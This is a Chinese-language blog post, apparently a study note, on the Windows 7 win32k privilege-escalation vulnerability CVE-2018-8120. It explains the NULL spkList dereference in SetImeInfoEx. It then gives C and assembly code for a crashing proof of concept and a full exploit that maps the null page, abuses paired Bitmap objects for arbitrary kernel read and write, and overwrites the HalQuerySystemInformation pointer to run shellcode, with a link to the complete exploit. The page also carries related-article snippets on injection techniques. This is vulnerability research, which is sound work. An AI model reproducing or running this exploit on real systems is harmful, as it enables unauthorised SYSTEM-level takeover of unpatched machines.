<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2018-8120提權漏洞學習筆記

    VSole2022-05-06 16:38:38

    簡介

    1、漏洞描述

    該漏洞存在與win32k模塊中的SetImeInfoEx函數,在該函數中未對tagWINDOWSTATION結構偏移0x14的spkiList進行有效性驗證就對其進行解引用操作,而spkList可以為NULL,此時就會對地址0x14進行解引用操作,導致系統崩潰。通過在0地址申請內存的方式可以繞過解引用產生的系統崩潰,函數會繼續向下運行執行寫操作,通過這個寫操作可以完成任意地址寫,最終完成提權。

    2、實驗環境

    • 操作系統:Win7 x86 sp1 專業版
    • 編譯器:Visual Studio 2017
    • 調試器:IDA Pro,WinDbg

    漏洞分析

    1、漏洞成因

    SetImeInfoEx函數的反匯編結果如下:

    圖1  SetImeInfoEx函數反匯編

    第1處的代碼是取出參數pWinStation偏移0x14處的內容,參數pWinStation是tagWINDOWSTATION結構,該結構體定義如下:

    2: kd> dt win32k!tagWINDOWSTATION   +0x000 dwSessionId      : Uint4B   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList       : Ptr32 tagDESKTOP   +0x00c pTerm            : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags      : Uint4B   +0x014 spklList         : Ptr32 tagKL   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen    : Ptr32 tagWND   +0x024 spwndClipViewer  : Ptr32 tagWND   +0x028 spwndClipOwner   : Ptr32 tagWND   +0x02c pClipBase        : Ptr32 tagCLIP   +0x030 cNumClipFormats  : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession   : _LUID   +0x04c luidUser         : _LUID   +0x054 psidUser         : Ptr32 Void
    

    偏移0x14處的成員是spkList,該成員指向tagKL結構,結構體定義如下:

    2: kd> dt win32k!tagKL   +0x000 head             : _HEAD   +0x008 pklNext          : Ptr32 tagKL   +0x00c pklPrev          : Ptr32 tagKL   +0x010 dwKL_Flags       : Uint4B   +0x014 hkl              : Ptr32 HKL__   +0x018 spkf             : Ptr32 tagKBDFILE   +0x01c spkfPrimary      : Ptr32 tagKBDFILE   +0x020 dwFontSigs       : Uint4B   +0x024 iBaseCharset     : Uint4B   +0x028 CodePage         : Uint2B   +0x02a wchDiacritic     : Wchar   +0x02c piiex            : Ptr32 tagIMEINFOEX   +0x030 uNumTbl          : Uint4B   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE   +0x038 dwLastKbdType    : Uint4B   +0x03c dwLastKbdSubType : Uint4B   +0x040 dwKLID           : Uint4B
    

    獲取spkList后,就在第2處進行對spkList偏移0x14處的地址進行解引用操作。可是,在執行2處的代碼之前,函數并沒有驗證spkList是否合法。如果spkList為NULL,那么此時2處的代碼就是對地址0x14進行解引用,因為0x14不是個合法地址,就回導致系統崩潰。

    2、漏洞驗證

    要驗證這個漏洞,需要兩個步驟,首先這個漏洞是由于SetImeInfoEx函數對tagWINDOWSTATION結構體中的spkList成員操作產生的,需要首先調用函數CreateWindowStation來創建一個tagWINDOWSTATION結構體,該函數定義如下:

    HWINSTA WINAPI CreateWindowStation(  __in_opt  LPCTSTR lpwinsta,            DWORD dwFlags,  __in      ACCESS_MASK dwDesiredAccess,  __in_opt  LPSECURITY_ATTRIBUTES lpsa);
    

    創建完結構體以后,需要通過SetProcessWindowStation來為當前進程設置創建的tagWINDOWSTATION,該函數定義如下:

    BOOL WINAPI SetProcessWindowStation(  __in  HWINSTA hWinSta);
    

    為當前進程設置完結構體以后,就可以來觸發漏洞,通過IDA交叉引用可以發現,只有NtUserSetImeInfoEx函數調用了SetImeInfoEx函數,該函數的反匯編結果如下:

    在第1處,函數將參數內容復制到imeInfoEx中作為調用SetImeInfoEx函數的第二個參數,在2處通過調用GetProcessWindowStation來作為調用SetImeInfoEx函數的第一個參數。那么此時,第一個參數就是創建的tagWINDOWSTATION,第二個參數通過調用NtUserSetImeInfoEx時指定,也就是可以由我們來指定。

    NtUserSetImeInfoEx函數是未導出函數,所以只能通過自己指定調用號產生系統調用來調用該函數,而NtUserSetImeInfoEx函數的調用號為0x1226,所以,可以使用如下代碼來調用NtUserSetImeInfoEx函數:

    BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0){    __asm    {        mov esi, arg0        mov eax, 0x1226           // NtUserSetImeInfoEx的調用號        mov edx, 0x7FFE0300        call dword ptr[edx]        ret 4    }}
    

    由此,可以寫出如下的POC:

    BOOL POC_CVE_2018_8120(){    BOOL bRet = TRUE;    HWINSTA hSta = NULL;     // 創建tagWINDOWSTATION結構體    hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);    if (hSta == NULL)    {        ShowError("CreateWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     // 將創建的結構體設置到本進程中    if (!SetProcessWindowStation(hSta))    {        ShowError("SetProcessWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     char szBuf[0x15C] = { 0 };    CallNtUserSetImeInfoEx((PVOID)szBuf); exit:    return bRet;}
    

    編譯運行POC,此時系統就會崩潰,崩潰信息如下,可以看到,產生崩潰的指令是在對[eax+0x14]的地址進行解引用產生的,這條指令就對應圖1中的第2處的代碼,此時寄存器eax的值為0,所以執行這條指令時,會對0x14地址進行解引用,該地址是并不是有效地址,就導致了系統的崩潰。

    nt!RtlpBreakWithStatusInstruction:83e95110 cc              int     3kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!SetImeInfoEx+0x17:969a007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> kChildEBP RetAddr  92085a90 969a003d win32k!SetImeInfoEx+0x1792085c28 83e581ea win32k!NtUserSetImeInfoEx+0x6592085c28 772870b4 nt!KiFastCallEntry+0x12a0012fd98 0040105f ntdll!KiFastSystemCallRet
    

    漏洞利用

    1、利用原理

    由上內容可知,之所以產生崩潰是因為地址0x14是無效地址,因此,可以通過在0地址申請內存的方式讓該地址有效,這樣執行圖1的第2處代碼的時候就不會產生系統的崩潰,繼續向下執行。在執行圖1的第5處的代碼的時候,會產生寫操作。

    函數會向spkList偏移0x2C處保存的地址進行寫入操作,由于此時spkList為0,所以函數會向0x2C中保存的地址進行寫入操作。寫入的內容則由傳入的參數決定,這個參數又可以在調用NtUserSetImeInfoEx函數時指定。

    因此,可以通過將地址0x2C賦值為保存了HalQuerySystemInformation函數地址的地址,在調用NtUserSetImeInfoEx函數時指定參數的前4字節為ShellCode地址的方式,來對保存HalQuerySystemInformation函數地址的地址中的內容修改為ShellCode的地址,這樣通過NtQueryIntervalProfile函數就可以調用ShellCode。

    根據上述思路,此時就可以用以下的代碼來實現提權:

    BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;     // 0地址分配內存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     // 獲取保存HalQuerySystemInformation函數地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 指定被寫入的地址    *(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;    // 繞過while循環的驗證    *(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;         char szBuf[0x15C] = { 0 };     // 指定要寫入的內容是ShellCode的地址    *(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;    // 觸發漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 調用NtQueryIntervalProfile    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    } exit:    return bRet;}
    

    可是此時提權并不會成功,接下來通過WinDbg進行分析,首先運行到之前導致系統崩潰處的指令,也就是圖1中第2處執行的代碼,可以看到雖然此時eax依然為0,但是因為在0地址申請了內存,此時0x14地址是有效的,所以不會產生系統的崩潰。

    3: kd> pwin32k!SetImeInfoEx+0x17:96ac007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> pwin32k!SetImeInfoEx+0x1a:96ac007f 740e            je      win32k!SetImeInfoEx+0x2a (96ac008f)
    

    繼續向下運行,就會執行到圖1中第3處的代碼,此時會將地址0x2C中保存的要修改的保存了HalQuerySystemInformation函數地址的地址賦值給eax,此時eax就不會為0,函數會繼續運行。

    3: kd> pwin32k!SetImeInfoEx+0x2a:96ac008f 8b402c          mov     eax,dword ptr [eax+2Ch]3: kd> pwin32k!SetImeInfoEx+0x2d:96ac0092 85c0            test    eax,eax3: kd> r eaxeax=83f6f3fc3: kd> pwin32k!SetImeInfoEx+0x2f:96ac0094 74f2            je      win32k!SetImeInfoEx+0x23 (96ac0088)
    

    繼續向下運行就會執行下面的判斷指令,判斷eax+0x48處保存的內容是否為0,如果不為0則會進行跳轉,這兩條指令對應的就是圖1中的第4處代碼。此時eax保存的是保存了HalQuerySystemInformation函數地址的地址,該地址偏移0x48處保存的內容并不為0,這樣就跳過了memcpy函數的調用,不會成功執行寫入操作,導致程序提權失敗。

    2、Bitmap

    為了成功利用該漏洞,就需要通過BitMap來實現任意地址的讀寫操作。Bitmap對象的可以通過CreateBitmap函數創建,該函數定義如下:

    HRESULT CreateBitmap(UINT uiWidth,                     UINT uiHeight,                     REFWICPixelFormatGUID pixelFormat,                     WICBitmapCreateCacheOption option,                     IWICBitmap **ppIBitmap);
    

    當用戶態程序通過CreateBitmap函數創建了一個Bitmap對象以后,就會在PEB結構中偏移0x094的成員GdiSharedHandleTable所指的結構體數組中增加一項該結構。

    3: kd> dt _PEBntdll!_PEB   +0x000 InheritedAddressSpace : UChar    ...   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void   +0x094 GdiSharedHandleTable : Ptr32 Void   +0x098 ProcessStarterHelper : Ptr32 Void      ....
    

    而GditSharedHandleTable所指的是GDICELL結構數組,該結構體定義如下:

    typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;
    

    其中第一項pKernelAddress指向了SURFACE結構體,該結構體定義如下:

    typedef struct _SURFACE{    BASEOBJECT  BaseObject;     SURFOBJ     SurfObj;    //XDCOBJ *   pdcoAA;    FLONG       flags;    struct _PALETTE  * const ppal; // Use SURFACE_vSetPalette to assign a palette    struct _EWNDOBJ  *pWinObj;     union    {        HANDLE  hSecureUMPD;  // if UMPD_SURFACE set        HANDLE  hMirrorParent;// if MIRROR_SURFACE set        HANDLE  hDDSurface;   // if DIRECTDRAW_SURFACE set    };     SIZEL       sizlDim;      /* For SetBitmapDimension(), do NOT use                               to get width/height of bitmap, use                               bitmap.bmWidth/bitmap.bmHeight for                               that */     HDC         hdc;          // Doc in "Undocumented Windows", page 546, seems to be supported with XP.    ULONG       cRef;    HPALETTE    hpalHint;     /* For device-independent bitmaps: */    HANDLE      hDIBSection;    HANDLE      hSecure;    DWORD       dwOffset;    //UINT       unk_078;   /* reactos specific */    DWORD biClrImportant;} SURFACE, *PSURFACE;
    

    該結構體中保存的前兩個成員的結構如下:

    typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10}BASEOBJECT, *POBJ; typedef struct _SURFOBJ {  DHSURF  dhsurf;  HSURF  hsurf;  DHPDEV  dhpdev;  HDEV  hdev;  SIZEL  sizlBitmap;  ULONG  cjBits;  PVOID  pvBits;  PVOID  pvScan0;  LONG  lDelta;  ULONG  iUniq;  ULONG  iBitmapFormat;  USHORT  iType;  USHORT  fjBitmap;} SURFOBJ;
    

    其中SURFOBJ結構體中的pvScan0中保存的地址指向內核空間之中,在用戶態可以通過GetBitmaps和SetBitmaps函數來對pvScan0指向的內核空間中的內容進行讀寫操作。此時可以創建兩個Bitmap對象,分別是hWorker和hManager,這兩個Bitmap對象對應的pvScan0分別是wpv和mpv。

    通過漏洞的任意地址讀寫的功能,可以將wpv指向的數據復制到mpv中,此時通過SetBitmapBits來設置hManager的可修改地址為保存HalQuerySystemInformation函數地址的地址。

    設置完成了hManager的可修改地址,此時就可以通過hWorker來對hManager的可修改地址,也就是保存HalQuerySystemInformation函數地址的地址進行讀寫。

    這種方式之所以能完成,也是因為此時mpv所指向的地址偏移0x48處的內容為0,另外,因此復制的時候會復制0x15C個字節,所以mpv后面的內容要保證不被修改,就需要在復制的源地址處進行正確的賦值。

    此時,漏洞利用的代碼如下:

    BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;    HBITMAP hManger = NULL, hWorker = NULL;    DWORD dwBuf[0x60] = { 0x90 };    PVOID mpv = NULL, wpv = NULL;    PVOID pOrgAddr = NULL;    PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;     // 0地址分配內存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);    hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);     if (!hManger || !hWorker)    {        ShowError("CreateBitmap", GetLastError());        bRet = FALSE;        goto exit;    }     mpv = GetPvScan(hManger);    wpv = GetPvScan(hWorker);     // 指定被寫入的地址    *(PDWORD)(0x2C) = (DWORD)mpv;    // 繞過while循環的驗證    *(PDWORD)(0x14) = (DWORD)wpv;         DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };     // 指定要寫入的內容    szBuf[0] = (DWORD)wpv;    szBuf[1] = 0x180;    szBuf[2] = 0x1D95;    szBuf[3] = 6;    szBuf[4] = 0x10000;    szBuf[5] = 0x0;    szBuf[6] = 0x4800200;    // 觸發漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 獲取保存HalQuerySystemInformation函數地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 設置hManger的可修改地址為保存HalQuerySystemInformation函數地址的地址    SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);      // 獲取可修改的地址中的內容    GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);        // 將可修改地址中的值修改為ShellCode地址    SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);          // 調用NtQueryIntervalProfile,執行ShellCode    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    }     // 將可修改地址中的內容恢復回去    SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);exit:    return bRet;} PVOID GetPvScan(HBITMAP hBitHandle){    DWORD dwGdiCellArray = GetGdiCellArray();     PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));         return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);} DWORD GetGdiCellArray(){    __asm    {        mov eax, fs:[0x30]            // eax = PEB        mov eax, [eax + 0x94]       // eax = GDICELL數組首地址    }}
    

    此時在編譯運行到圖1的第4處驗證,此時目標地址偏移0x48處的內容為0,函數不會發生跳轉,接下去將執行復制操作。

    隨后的GetBitmapBits/SetBitmapBits就可以實現對HalQuerySystemInformation的修改,最終通過調用NtQueryIntervalProfile就會完成提權。

    運行結果

    完整的exp代碼在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp

    可以看到,運行exp以后會成功完成提權:

    函數調用dword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近期有使用手機投屏的需求,用過幾個小工具感覺效果不是很理想,所以想著著手分析下。
    概述在windows系統上,涉及到內核對象的功能函數,都需要從應用層權限轉換到內核層權限,然后再執行想要的內核函數,最終將函數結果返回給應用層。本文就是用OpenProcess函數來觀察函數從應用層到內核層的整體調用流程。OpenProcess函數,根據指定的進程ID,返回進程句柄。NTSTATUS Status; //保存函數執行狀態。OBJECT_ATTRIBUTES Obja; //待打開對象的對象屬性。HANDLE Handle; //存儲打開的句柄。CLIENT_ID ClientId; //進程、線程ID. dwDesiredAccess, //預打開進程并獲取對應的權限。ObjectNamePresent = ARGUMENT_PRESENT ; //判斷對象名稱是否為空
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    反射式DLL注入實現
    2022-05-13 15:59:21
    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。
    在所有函數調用發生時,向棧幀內壓入一個額外的隨機 DWORD,隨機數標注為“SecurityCookie”。在函數返回之前,系統將執行一個額外的安全驗證操作,被稱做 Security check。
    MITM Fuzz下圖是用戶層與內核層實現通信的過程,可以看到,最后是通過NtDeviceIoControlFile來分發給相應驅動對象的派遣函數的,因此,可以通過對該函數進行HOOK操作。如果將修改以后的數據發送給NtDeviceIoControlFile函數以后,發生了內核崩潰或藍屏,往往預示著該驅動程序可能存在內核漏洞。
    當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。往線程APC隊列添加APC,系統會產生一個軟中斷。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。
    shellcode編寫探究
    2022-06-09 15:34:57
    前言shellcode是不依賴環境,放到任何地方都可以執行的機器碼。shellcode的應用場景很多,本文不研究shellcode的具體應用,而只是研究編寫一個shellcode需要掌握哪些知識。要使用字符串,需要使用字符數組。所以我們需要用到 LoadLibrary 和 GetProcAddress 這兩個函數,來動態獲取系統API的函數指針。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类